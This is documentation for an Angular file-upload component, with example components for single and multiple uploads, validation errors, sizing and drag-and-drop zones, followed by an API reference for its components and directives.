**Example: File-upload single with size** (`file-upload-single-with-size`)

```ts file-upload-single-with-size-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormControl, ReactiveFormsModule } from '@angular/forms';
import { KbqSingleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqIconModule } from '@koobiq/components/icon';

const createBlobPart = (sizeInMB: number): BlobPart => {
    const chunk = 'a'.repeat(1024 * 1024);

    return Array(sizeInMB).fill(chunk).join('');
};

const createMockFile = (fileName: string = 'Filename.txt', options?: FilePropertyBag) =>
    new File([createBlobPart(2)] satisfies BlobPart[], fileName, options);

@Component({
    selector: 'file-upload-single-with-size-example',
    imports: [
        KbqIconModule,
        KbqSingleFileUploadComponent,
        ReactiveFormsModule
    ],
    template: `
        <kbq-single-file-upload [showFileSize]="true" [formControl]="control">
            <i kbq-icon="kbq-file-text-o_16"></i>
        </kbq-single-file-upload>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadSingleWithSizeExample {
    control = new FormControl(createMockFile('Filename.txt', { type: 'text/plain' }));
}
```

#### Icon for selected file

Selected files can be configured with a custom icon, for example, for images.

**Example: File-upload multiple with custom icon** (`file-upload-multiple-with-custom-icon`)

```ts file-upload-multiple-with-custom-icon-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqFileItem, KbqMultipleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqIconModule } from '@koobiq/components/icon';

const createBlobPart = (sizeInMB: number): BlobPart => {
    const chunk = 'a'.repeat(1024 * 1024);

    return Array(sizeInMB).fill(chunk).join('');
};

const createMockFile = (fileName: string = 'Filename.txt', options?: FilePropertyBag) =>
    new File([createBlobPart(2)] satisfies BlobPart[], fileName, options);

@Component({
    selector: 'file-upload-multiple-with-custom-icon-example',
    imports: [
        KbqIconModule,
        KbqMultipleFileUploadComponent
    ],
    template: `
        <kbq-multiple-file-upload [files]="files">
            <ng-template #kbqFileIcon let-file>
                @if (file.file.name.includes('jpg')) {
                    <i kbq-icon="kbq-image_16"></i>
                } @else if (file.file.name.includes('txt')) {
                    <i kbq-icon="kbq-file-text-o_16"></i>
                }
            </ng-template>
        </kbq-multiple-file-upload>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadMultipleWithCustomIconExample {
    files: KbqFileItem[] = [
        { file: createMockFile('image.jpg') },
        { file: createMockFile('file.txt') }
    ];
}
```

#### Selecting folders or files

The component can be configured to allow selecting only files, only folders, or both files and folders.

**Example: File-upload allowed** (`file-upload-allowed`)

```ts file-upload-allowed-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMultipleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqIcon } from '@koobiq/components/icon';

@Component({
    selector: 'file-upload-allowed-example',
    imports: [
        KbqMultipleFileUploadComponent,
        KbqIcon
    ],
    template: `
        <kbq-multiple-file-upload [allowed]="'mixed'">
            <ng-template #kbqFileIcon let-file>
                @if (!file.hasError) {
                    <i kbq-icon="kbq-file-text-o_16"></i>
                } @else {
                    <i kbq-icon="kbq-triangle-exclamation_16"></i>
                }
            </ng-template>
        </kbq-multiple-file-upload>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadAllowedExample {}
```

#### Disabled state

In the disabled state, the component does not receive focus and drag-and-drop functionality does not work.

**Example: File-upload multiple disabled** (`file-upload-multiple-disabled`)

```ts file-upload-multiple-disabled-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMultipleFileUploadComponent } from '@koobiq/components/file-upload';

@Component({
    selector: 'file-upload-multiple-disabled-example',
    imports: [KbqMultipleFileUploadComponent],
    template: `
        <kbq-multiple-file-upload [disabled]="true" />
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadMultipleDisabledExample {}
```

#### Error

**Example: File-upload multiple error** (`file-upload-multiple-error`)

```ts file-upload-multiple-error-example.ts
import { ChangeDetectionStrategy, Component, Injectable } from '@angular/core';
import {
    AbstractControl,
    FormControl,
    FormGroupDirective,
    NgForm,
    ReactiveFormsModule,
    Validators
} from '@angular/forms';
import { ErrorStateMatcher, kbqErrorStateMatcherProvider } from '@koobiq/components/core';
import { KbqFileItem, KbqMultipleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqIconModule } from '@koobiq/components/icon';

@Injectable()
export class CustomErrorStateMatcher implements ErrorStateMatcher {
    isErrorState(control: AbstractControl | null, _form: FormGroupDirective | NgForm | null): boolean {
        return !!control?.invalid;
    }
}

@Component({
    selector: 'file-upload-multiple-error-example',
    imports: [
        ReactiveFormsModule,
        KbqIconModule,
        KbqMultipleFileUploadComponent
    ],
    template: `
        <kbq-multiple-file-upload inputId="file-upload-multiple-error-overview" [formControl]="fileUpload">
            <ng-template #kbqFileIcon let-file>
                @if (!file.hasError) {
                    <i kbq-icon="kbq-file-text-o_16"></i>
                } @else {
                    <i kbq-icon="kbq-triangle-exclamation_16"></i>
                }
            </ng-template>
        </kbq-multiple-file-upload>
    `,
    providers: [
        kbqErrorStateMatcherProvider(CustomErrorStateMatcher)
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadMultipleErrorExample {
    protected readonly fileUpload = new FormControl<KbqFileItem | null>(null, Validators.required);
}
```

When an invalid file is selected, only the corresponding item in the list receives the error state, not the entire component. Error messages are displayed below the uploader.

**Example: File-upload multiple error filled** (`file-upload-multiple-error-filled`)

```ts file-upload-multiple-error-filled-example.ts
import { afterNextRender, ChangeDetectionStrategy, ChangeDetectorRef, Component, inject } from '@angular/core';
import { takeUntilDestroyed } from '@angular/core/rxjs-interop';
import { FormArray, FormControl, FormGroup, ReactiveFormsModule } from '@angular/forms';
import { FileValidators, KbqFileTypeSpecifier } from '@koobiq/components/core';
import { KbqFileItem, KbqMultipleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqHint } from '@koobiq/components/form-field';
import { KbqIconModule } from '@koobiq/components/icon';

const SIZE_IN_MB = 1;

const MAX_FILE_SIZE = SIZE_IN_MB * 2 ** 20;

const createBlobPart = (sizeInMB: number): BlobPart => {
    const chunk = 'a'.repeat(1024 * 1024);

    return Array(sizeInMB).fill(chunk).join('');
};

const createMockFile = (fileName: string = 'Filename.txt', options?: FilePropertyBag & { size?: number }) =>
    new File([createBlobPart(options?.size ?? 2)] satisfies BlobPart[], fileName, options);

@Component({
    selector: 'file-upload-multiple-error-filled-example',
    imports: [
        KbqIconModule,
        KbqHint,
        KbqMultipleFileUploadComponent,
        ReactiveFormsModule
    ],
    template: `
        <form [formGroup]="formMultiple">
            <kbq-file-upload
                #kbqFileUpload
                multiple
                formControlName="fileUpload"
                [accept]="accept"
                (itemRemoved)="onFileRemoved($event)"
                (itemsAdded)="onFilesAdded($event)"
            >
                <ng-template #kbqFileIcon>
                    <i kbq-icon="kbq-file-text-o_16"></i>
                </ng-template>

                @for (control of fileList.controls; track $index) {
                    <ng-container ngProjectAs="kbq-hint">
                        @if (control.errors) {
                            <kbq-hint color="error">
                                @if (control.errors) {
                                    <span>{{ control.value?.file?.name }} —&nbsp;</span>
                                }
                                @if (control.hasError('fileExtensionMismatch')) {
                                    <span>{{ errorMessages.fileExtensionMismatch }}</span>
                                    @if (control.hasError('fileExtensionMismatch') && control.hasError('maxFileSize')) {
                                        <span>.</span>
                                    }
                                }
                                @if (control.hasError('maxFileSize')) {
                                    {{ errorMessages.maxFileSize }}
                                }
                            </kbq-hint>
                        }
                    </ng-container>
                }

                <kbq-hint>{{ acceptedOutput }}. No more than 1 MB</kbq-hint>
            </kbq-file-upload>
        </form>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadMultipleErrorFilledExample {
    protected accept: KbqFileTypeSpecifier = ['.doc', '.docx', '.pdf', '.txt'];
    protected acceptedOutput: string = this.accept
        .map((typeSpecifier) => typeSpecifier.replace('.', '').toUpperCase())
        .join(', ');

    errorMessages = {
        fileExtensionMismatch: 'Provide valid extension',
        maxFileSize: 'The file size limit has been exceeded'
    };
    protected readonly cdr = inject(ChangeDetectorRef);

    protected readonly formMultiple = new FormGroup({
        fileUpload: new FormControl<FileList | KbqFileItem[]>([]),
        fileList: new FormArray<FormControl<KbqFileItem | null>>([])
    });

    protected get fileUpload() {
        return this.formMultiple.controls.fileUpload;
    }

    protected get fileList() {
        return this.formMultiple.controls.fileList;
    }

    constructor() {
        this.fileList.statusChanges.pipe(takeUntilDestroyed()).subscribe(() => {
            this.fileList.controls.forEach((control) => {
                if (control?.value && 'hasError' in control.value) {
                    control.value.hasError = control.invalid;
                }
            });
        });

        afterNextRender(() => {
            const filesToAdd = [
                { file: createMockFile('file1.txt', { size: 2 }), hasError: false },
                { file: createMockFile('file2.docx', { size: 0 }), hasError: false },
                { file: createMockFile('file3.pdf', { size: 3 }), hasError: false }
            ];

            this.fileUpload.setValue(filesToAdd);
            this.onFilesAdded(filesToAdd);
            this.cdr.detectChanges();
        });
    }

    onFileRemoved([
        _,
        index
    ]: [
        KbqFileItem,
        number
    ]): void {
        this.fileList.removeAt(index);
    }

    onFilesAdded($event: KbqFileItem[]): void {
        for (const fileItem of $event.slice()) {
            this.fileList.push(
                new FormControl(fileItem, [
                    FileValidators.isCorrectExtension(this.accept),
                    FileValidators.maxFileSize(MAX_FILE_SIZE)
                ])
            );
        }
    }
}
```

#### Height of the selected items list

By default, the component grows in height when many files are selected. However, you can set a maximum height, after which scrolling will appear.

**Example: File-upload multiple with max height** (`file-upload-multiple-with-max-height`)

```ts file-upload-multiple-with-max-height-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqFileItem, KbqMultipleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqIconModule } from '@koobiq/components/icon';

const createBlobPart = (sizeInMB: number): BlobPart => {
    const chunk = 'a'.repeat(1024 * 1024);

    return Array(sizeInMB).fill(chunk).join('');
};

const createMockFile = (fileName: string = 'Filename.txt', options?: FilePropertyBag & { size?: number }) =>
    new File([createBlobPart(options?.size ?? 2)] satisfies BlobPart[], fileName, options);

@Component({
    selector: 'file-upload-multiple-with-max-height-example',
    imports: [
        KbqIconModule,
        KbqMultipleFileUploadComponent,
        FormsModule
    ],
    template: `
        <kbq-multiple-file-upload [(ngModel)]="files">
            <ng-template #kbqFileIcon>
                <i kbq-icon="kbq-file-text-o_16"></i>
            </ng-template>
        </kbq-multiple-file-upload>
    `,
    styles: `
        :host {
            .kbq-multiple-file-upload {
                --kbq-file-upload-size-multiple-max-height: 201px;
            }
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadMultipleWithMaxHeightExample {
    files: KbqFileItem[] = [
        { file: createMockFile('project_alpha.txt', { size: 1 }) },
        { file: createMockFile('report_final.docx', { size: 2 }) },
        { file: createMockFile('presentation_overview.pptx', { size: 3 }) },
        { file: createMockFile('data_analysis.csv', { size: 4 }) },
        { file: createMockFile('summary_notes.pdf', { size: 5 }) }
    ];
}
```

It is also possible to set a fixed height for the uploader.

**Example: File-upload multiple with fixed height** (`file-upload-multiple-with-fixed-height`)

```ts file-upload-multiple-with-fixed-height-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqFileItem, KbqMultipleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqIconModule } from '@koobiq/components/icon';

const createBlobPart = (sizeInMB: number): BlobPart => {
    const chunk = 'a'.repeat(1024 * 1024);

    return Array(sizeInMB).fill(chunk).join('');
};

const createMockFile = (fileName: string = 'Filename.txt', options?: FilePropertyBag & { size?: number }) =>
    new File([createBlobPart(options?.size ?? 2)] satisfies BlobPart[], fileName, options);

@Component({
    selector: 'file-upload-multiple-with-fixed-height-example',
    imports: [
        KbqIconModule,
        KbqMultipleFileUploadComponent,
        FormsModule
    ],
    template: `
        <kbq-multiple-file-upload [(ngModel)]="files">
            <ng-template #kbqFileIcon>
                <i kbq-icon="kbq-file-text-o_16"></i>
            </ng-template>
        </kbq-multiple-file-upload>
    `,
    styles: `
        :host {
            .kbq-multiple-file-upload {
                --kbq-file-upload-size-multiple-big-container-min-height: 232px;
                --kbq-file-upload-size-multiple-min-height: 160px;
                --kbq-file-upload-size-multiple-max-height: 160px;
            }
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadMultipleWithFixedHeightExample {
    files: KbqFileItem[] = [
        { file: createMockFile('project_report.docx', { size: 1 }) },
        { file: createMockFile('Name', { size: 2 }) },
        { file: createMockFile('meeting_notes.txt', { size: 3 }) },
        { file: createMockFile('presentation_slide.pptx', { size: 4 }) },
        { file: createMockFile('research_paper.pdf', { size: 5 }) }
    ];
}
```

#### Full-screen file uploader

The user can drag files onto the page, and at that moment a full-screen upload overlay will be shown.

**Example: File-upload Dropzone** (`file-upload-dropzone`)

```ts file-upload-dropzone-example.ts
import { ChangeDetectionStrategy, Component, DestroyRef, inject, model, signal, viewChild } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqContentPanelModule } from '@koobiq/components/content-panel';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';
import {
    KbqFileItem,
    KbqFullScreenDropzoneService,
    KbqMultipleFileUploadComponent
} from '@koobiq/components/file-upload';
import { KbqIcon } from '@koobiq/components/icon';
import { KbqToggleChange, KbqToggleComponent } from '@koobiq/components/toggle';

@Component({
    selector: 'file-upload-dropzone-example',
    imports: [
        KbqMultipleFileUploadComponent,
        KbqContentPanelModule,
        KbqEmptyStateModule,
        KbqToggleComponent,
        FormsModule,
        KbqIcon
    ],
    template: `
        <kbq-toggle class="layout-margin-bottom-l" [checked]="isActive()" (change)="onChange($event)">
            activate fullscreen dropzone
        </kbq-toggle>

        @if (files().length) {
            <kbq-file-upload multiple [(ngModel)]="files">
                <ng-template #kbqFileIcon>
                    <i kbq-icon="kbq-file-text-o_16"></i>
                </ng-template>
            </kbq-file-upload>
        } @else {
            <kbq-empty-state>
                <div kbq-empty-state-text>Drop files here</div>
            </kbq-empty-state>
        }
    `,
    styles: `
        :host {
            .kbq-empty-state {
                height: 128px;
            }

            .kbq-multiple-file-upload {
                --kbq-file-upload-size-multiple-min-height: 120px;
                --kbq-file-upload-size-multiple-max-height: 120px;
            }
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadDropzoneExample {
    protected readonly isActive = signal(false);
    protected readonly files = model<KbqFileItem[]>([]);

    protected readonly fileUpload = viewChild(KbqMultipleFileUploadComponent);

    protected readonly dropzoneService = inject(KbqFullScreenDropzoneService);
    protected readonly destroyRef = inject(DestroyRef);

    constructor() {
        const sub = this.dropzoneService.filesDropped.subscribe((files) => {
            this.files.set(files.map((file) => ({ file })));
        });

        this.dropzoneService.init({ title: 'Drop files here' });

        this.destroyRef.onDestroy(() => {
            sub.unsubscribe();
            this.dropzoneService.stop();
        });
    }

    onChange({ checked }: KbqToggleChange) {
        this.isActive.set(checked);
        this.dropzoneService.disabled.set(!checked);
    }
}
```

#### Upload area

The drag-and-drop area can be not only the entire screen or the File Upload component itself within a form, but also a separate part of the screen.

**Example: File-upload local dropzone** (`file-upload-local-dropzone`)

```ts file-upload-local-dropzone-example.ts
import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqContentPanelModule } from '@koobiq/components/content-panel';
import { KbqLocalDropzone, KbqSingleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqIcon } from '@koobiq/components/icon';
import { KbqSidebar, KbqSidebarClosed, KbqSidebarOpened, SidebarPositions } from '@koobiq/components/sidebar';

@Component({
    selector: 'file-upload-local-dropzone-example',
    imports: [
        KbqLocalDropzone,
        KbqButtonModule,
        KbqContentPanelModule,
        KbqSidebar,
        KbqSidebarOpened,
        KbqSidebarClosed,
        KbqSingleFileUploadComponent,
        KbqIcon
    ],
    template: `
        <main>
            <div>
                Manchester United, one of the most iconic football clubs in the world, is renowned for its rich history,
                legendary players, and unparalleled success.
            </div>
        </main>

        <kbq-sidebar
            #rightSidebar="kbqSidebar"
            kbqLocalDropzone
            [opened]="true"
            [position]="position.Right"
            [kbqConnectedTo]="fileUploadLocal"
        >
            <div kbq-sidebar-opened width="100%" minWidth="350px" maxWidth="350px">
                <div class="layout-margin-bottom-m">Drag your files on sidepanel</div>

                <kbq-file-upload #fileUploadLocal>
                    <i kbq-icon="kbq-file-text-o_16"></i>
                </kbq-file-upload>
            </div>
            <div kbq-sidebar-closed width="100px"></div>
        </kbq-sidebar>
    `,
    styles: `
        :host {
            display: flex;
            height: 248px;
        }

        main {
            flex-grow: 1;
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-m);
            padding: var(--kbq-size-m);
        }

        .kbq-sidebar {
            background: var(--kbq-background-bg);
            box-shadow: var(--kbq-shadow-overlay);
            padding: var(--kbq-size-xxl);
            border-radius: var(--kbq-size-border-radius);
            height: 100%;
            box-sizing: border-box;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadLocalDropzoneExample {
    protected readonly value = signal(false);
    readonly position = SidebarPositions;
}
```

#### Adding files

By default, every new selection is added to the files you already have — this makes it easy to build up a list over several picks.

If you want a new selection to replace the previous one instead — the way a regular system file dialog works — use `addStrategy="replace"`.

**Example: File-upload multiple add strategy** (`file-upload-multiple-add-strategy`)

```ts file-upload-multiple-add-strategy-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMultipleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'file-upload-multiple-add-strategy-example',
    imports: [
        KbqIconModule,
        KbqMultipleFileUploadComponent
    ],
    template: `
        <kbq-multiple-file-upload [addStrategy]="'replace'">
            <ng-template #kbqFileIcon>
                <i kbq-icon="kbq-file-text-o_16"></i>
            </ng-template>
        </kbq-multiple-file-upload>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadMultipleAddStrategyExample {}
```

#### Accepted file types

`accept` is forwarded to the `accept` attribute of the native file input, exactly like the platform one: it filters what the operating system dialog offers, and nothing more. The user can still switch the dialog to "All files", and a dragged file never meets it at all.

To reject a file, validate the control. `FileValidators.isCorrectExtension` takes the same list, so both can be fed from one field, and the rejected file lands in the list with an error message the user can read — see the validation examples on the Examples tab.

A selection the component itself discards is reported through `(rejected)`: files past the first for the single uploader, and duplicates of files already in the list for the multiple one with the default `concat` strategy.

#### Accessibility and keyboard

The tab order is the browse link, then the remove control of every selected file, in list order. `Delete` and `Backspace` remove the file whose control has focus; after a removal focus moves to the control that took its place, or to the file input when the list is empty.

The component announces additions and removals in a live region of its own, in the wording of the active locale; to replace that wording, use `[localeOverrides]` or `kbqFileUploadLocaleConfigurationProvider`.

### API

#### Components

##### KbqDropzoneContent (component)

```ts
@Component({ selector: 'kbq-dropzone-content' })
class KbqDropzoneContent {}
```

##### KbqFileLoader (component)

Loader component to trigger Browser API.

```ts
@Component({ selector: '[kbqFileLoader]', exportAs: 'kbqFileLoader' })
class KbqFileLoader {
    readonly disabled = input<boolean>(false);
    readonly multiple = input<boolean | null>(null);
    readonly accept = input<string | null>(null);
    readonly for = input<string | null>(null);
    readonly onlyDirectory = input<boolean | null>(null);
    readonly describedBy = input<string | null>(null);
    readonly invalid = input<boolean>(false);
    readonly fileChange = output<Event>();
    readonly input: Signal<ElementRef<HTMLInputElement>>;
}
```

- `[disabled]`: `boolean` — Whether file input selectable or not
- `[multiple]`: `boolean | null` — Selection mode for file input
- `[accept]`: `string | null` — File type specifiers
- `[for]`: `string | null` — id for file input
- `[onlyDirectory]`: `boolean | null` — Reflects webkitdirectory attribute,
  which indicates that elements can only select directories instead of files.
  See [`HTMLInputElement: webkitdirectory property`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/webkitdirectory).
- `[describedBy]`: `string | null` — Ids of the elements describing the file input, written to its `aria-describedby`.
- `[invalid]`: `boolean` — Whether the file input holds a value the form rejects, reported through `aria-invalid`.
- `(fileChange)`: `Event` — Event fires when file selected in file-picker.
- `input`: `Signal<ElementRef<HTMLInputElement>>` — Underlying file input element

##### KbqFileUploadEmptyState (component)

Component that displays an empty state for file upload areas.

```ts
@Component({ selector: 'kbq-file-upload-empty-state' })
class KbqFileUploadEmptyState extends KbqEmptyState {
    readonly title = input<string>();
    readonly caption = input<string | TemplateRef<unknown>>();
    readonly size = input<KbqDefaultSizes>('big');
    readonly errorColor = input<boolean>(false);
    readonly alignTop = input<boolean>(false);
}
```

- `[title]`: `string` — Title text to display below the upload icon
- `[caption]`: `string | TemplateRef<unknown>` — Caption text or template to display below the title
- `[size]`: `KbqDefaultSizes` — Same input as `KbqEmptyState.size`, redeclared only to default to `big` instead of `normal`.
  It used to be a `super()`-time assignment, which an `input()` cannot take.
- `[errorColor]`: `boolean` — Whether the title, the text and the projected icon render in the error color. Defaults to `false`.
- `[alignTop]`: `boolean` — Whether the content sits at the top of the host instead of its center. Defaults to `false`.

##### KbqMultipleFileUploadComponent (component)

```ts
@Component({ selector: 'kbq-multiple-file-upload,kbq-file-upload[multiple]' })
class KbqMultipleFileUploadComponent extends KbqFileUploadBase implements ControlValueAccessor {
    readonly progressMode = input<ProgressSpinnerMode>('determinate');
    readonly accept = input<string[]>();
    readonly size = input<'compact' | 'default'>('default');
    readonly inputId = input<string>(
        `kbq-multiple-file-upload-${nextMultipleFileUploadUniqueId++}`
    );
    errorStateMatcher = input<ErrorStateMatcher | undefined>();
    files = model<KbqFileItem[] | undefined>();
    readonly allowed = input<KbqFileUploadAllowedTypeValues>(
        KbqFileUploadAllowedType.File
    );
    readonly fullScreenDropZone = input<KbqDropzoneData | boolean>();
    readonly addStrategy = input<KbqFileUploadAddStrategyValues>(
        KbqFileUploadAddStrategy.Concat
    );
    readonly filesAdded = output<KbqFileItem[]>();
    readonly fileRemoved = output<[ KbqFileItem, number ]>();
    readonly rejected = output<File[]>();
    errorState: boolean;
    readonly localeConfiguration: Signal<KbqFileUploadLocaleConfiguration>;
}
```

- `[progressMode]`: `ProgressSpinnerMode` — A value responsible for progress spinner type.
  Loading logic depends on selected mode
- `[accept]`: `string[]` — Array of file type specifiers
- `[inputId]`: `string` — custom ID for the file input element.
- `[errorStateMatcher]`: `ErrorStateMatcher | undefined` — An object used to control the error state of the component.
- `[(files)]`: `KbqFileItem[] | undefined` — The selected files.

  Writing it is the model→view direction, same as `writeValue()`: it fills the list and tells
  nobody. `cvaOnChange` and `(filesChange)` belong to the paths a user drives — see
  `onFileAdded()` and `deleteFile()` — so a `[files]` binding cannot make the form look edited.
- `[allowed]`: `KbqFileUploadAllowedTypeValues` — Determines which kind of items the upload component can accept. Defaults to `'file'`.
- `[fullScreenDropZone]`: `KbqDropzoneData | boolean` — Controls whether to display fullscreen dropzone.
  Provide configuration object to enable, or undefined to disable.
- `[addStrategy]`: `KbqFileUploadAddStrategyValues` — Controls how newly selected/dropped files are merged into the existing list.
  `concat` accumulates files across interactions, skipping files that duplicate ones already present.
  `replace` discards the previous selection, mirroring native input file multiple behavior. Defaults to `'concat'`.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `[id]`: `string | null` — id for file input
- `[disabled]`: `boolean | null` — Whether file input selectable or not
- `(filesAdded)`: `KbqFileItem[]` — Emits an event containing a chunk of files added to the file list.
  Useful when handling added files, skipping filtering file list.
- `(fileRemoved)`: `[ KbqFileItem, number ]` — Emits an event containing a tuple of file and file's index when removed from the file list.
  Useful when handle removed files, skipping filtering file list.
- `(rejected)`: `File[]` — Emits the files a selection or a drop discarded — with the default `concat` strategy, the ones
  that duplicate a file already in the list. `accept` is not part of this: it only filters the OS
  dialog.
- `(itemRemoved)`: `[T, number]` — Emits an event containing a tuple of file and file's index when removed from the file list.
  Useful when handle removed files, skipping filtering file list.
- `(itemsAdded)`: `T[]` — Emits array of items that were added to the list.
- `errorState`: `boolean` — Tracks whether the component is in an error state based on the control, parent form,
  and `errorStateMatcher`, triggering visual updates and state changes if needed.
- `localeConfiguration`: `Signal<KbqFileUploadLocaleConfiguration>` — Localized labels of both upload flavours, following the active locale.

##### KbqSingleFileUploadComponent (component)

```ts
@Component({
    selector: 'kbq-single-file-upload,kbq-file-upload:not([multiple])'
})
class KbqSingleFileUploadComponent extends KbqFileUploadBase implements ControlValueAccessor {
    readonly progressMode = input<ProgressSpinnerMode>('determinate');
    readonly accept = input<string[]>();
    readonly inputId = input<string>(
        `kbq-single-file-upload-${nextSingleFileUploadUniqueId++}`
    );
    errorStateMatcher = input<ErrorStateMatcher | undefined>();
    file = model<KbqFileItem | null | undefined>();
    readonly showFileSize = input<boolean>(true);
    readonly allowed = input<KbqFileUploadAllowedTypeValues>(
        KbqFileUploadAllowedType.File
    );
    readonly fullScreenDropZone = input<KbqDropzoneData | boolean>();
    readonly rejected = output<File[]>();
    errorState: boolean;
    readonly localeConfiguration: Signal<KbqFileUploadLocaleConfiguration>;
}
```

- `[progressMode]`: `ProgressSpinnerMode` — A value responsible for progress spinner type.
  Loading logic depends on selected mode
- `[accept]`: `string[]` — Array of file type specifiers
- `[errorStateMatcher]`: `ErrorStateMatcher | undefined` — An object used to control the error state of the component.
- `[(file)]`: `KbqFileItem | null | undefined` — The selected file, or `null`.

  Writing it is the model→view direction, same as `writeValue()`: it fills the list and tells
  nobody. `cvaOnChange` and `(fileChange)` belong to the paths a user drives — see `addFile()`
  and `deleteItem()` — so a `[file]` binding cannot make the form look edited.
- `[showFileSize]`: `boolean` — Controls whether to display the file size information. Defaults to `true`.
- `[allowed]`: `KbqFileUploadAllowedTypeValues` — Determines which kind of items the upload component can accept. Defaults to `'file'`.
- `[fullScreenDropZone]`: `KbqDropzoneData | boolean` — Controls whether to display fullscreen dropzone.
  Provide configuration object to enable, or undefined to disable.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `[id]`: `string | null` — id for file input
- `[disabled]`: `boolean | null` — Whether file input selectable or not
- `(rejected)`: `File[]` — Emits the files a selection or a drop discarded: everything past the first one, since the
  component holds a single file. `accept` is not part of this — it only filters the OS dialog.
- `errorState`: `boolean` — Tracks whether the component is in an error state based on the control, parent form,
  and `errorStateMatcher`, triggering visual updates and state changes if needed.
- `localeConfiguration`: `Signal<KbqFileUploadLocaleConfiguration>` — Localized labels of both upload flavours, following the active locale.

#### Directives

##### KbqDrop (directive)

```ts
@Directive()
class KbqDrop {
    readonly disabled = model<boolean>(false);
    readonly filesDropped = output<KbqFile[]>();
}
```

- `[(disabled)]`: `boolean` — Controls whether drag-and-drop functionality is enabled.
  When true, all drag events are filtered out and ignored.
- `(filesDropped)`: `KbqFile[]` — Emits an event when file items were dropped.

##### KbqFileDropDirective (directive)

```ts
@Directive({ selector: '[kbqFileDrop]', exportAs: 'kbqFileDrop' })
class KbqFileDropDirective extends KbqDrop {
    readonly disabled = model<boolean>(false);
    readonly filesDropped = output<KbqFile[]>();
    onDragEnter(event: DragEvent): void;
}
```

- `[(disabled)]`: `boolean` — Controls whether drag-and-drop functionality is enabled.
  When true, all drag events are filtered out and ignored.
- `(filesDropped)`: `KbqFile[]` — Emits an event when file items were dropped.

##### KbqFileList (directive)

Responsible for list update (add/remove)

```ts
@Directive({ selector: '[kbqFileList]', exportAs: 'kbqFileList' })
class KbqFileList<T> {
    readonly list = model<T[]>([]);
    readonly itemRemoved = output<[T, number]>();
    readonly itemsAdded = output<T[]>();
    add(item: T): void;
    addArray(items: T[]): void;
    replace(items: T[]): void;
    remove(item: T): T[];
    removeAt(index: number): T[];
}
```

- `[(list)]`: `T[]` — Current list of items.
- `(itemRemoved)`: `[T, number]` — Emits an event containing a tuple of file and file's index when removed from the file list.
  Useful when handle removed files, skipping filtering file list.
- `(itemsAdded)`: `T[]` — Emits array of items that were added to the list.
- `add()`: `void` — Adds a single item to the list and emits event
- `addArray()`: `void` — Adds multiple items to the list and emits event
- `replace()`: `void` — Replaces the current list with the specified items and emits event.
- `remove()`: `T[]` — Removes the first occurrence of the specified item. Returns removed items and emits event.
- `removeAt()`: `T[]` — Removes item at specified index. Returns removed items and emits event.
  An index outside the list removes nothing, emits nothing and leaves the list untouched.

##### KbqFileUploadContext (directive)

File upload context.

```ts
@Directive({
    selector: '[kbqFileUploadContext]',
    exportAs: 'kbqFileUploadContext'
})
class KbqFileUploadContext {
    readonly id = input<string | null>(null);
    readonly disabled = model<boolean | null>(null);
    readonly multiple = input<boolean | null>(null);
    readonly accept = input<string | null>(null);
    readonly onlyDirectory = input<boolean | null>(null);
}
```

- `[id]`: `string | null` — id for file input
- `[(disabled)]`: `boolean | null` — Whether file input selectable or not
- `[multiple]`: `boolean | null` — Selection mode for file input
- `[accept]`: `string | null` — File type specifiers
- `[onlyDirectory]`: `boolean | null` — Reflects webkitdirectory attribute, which indicates that elements can only select directories instead of files.

##### KbqLocalDropzone (directive)

Directive that turns an element into a local drag-and-drop zone.

Displays an overlay over the host element on drag enter, handles drag events,
and emits dropped files to a connected file upload component.

```ts
@Directive({ selector: '[kbqLocalDropzone]', exportAs: 'kbqLocalDropzone' })
class KbqLocalDropzone extends KbqDrop {
    readonly connectedTo = input<KbqSingleFileUploadComponent | KbqMultipleFileUploadComponent>(
        undefined,
        { alias: 'kbqConnectedTo' }
    );
    readonly disabled = model<boolean>(false);
    readonly filesDropped = output<KbqFile[]>();
    open(config?: KbqDropzoneData): void;
    close(): void;
}
```

- `[kbqConnectedTo]`: `KbqSingleFileUploadComponent | KbqMultipleFileUploadComponent` — File upload component to connect dropped files to
- `[(disabled)]`: `boolean` — Controls whether drag-and-drop functionality is enabled.
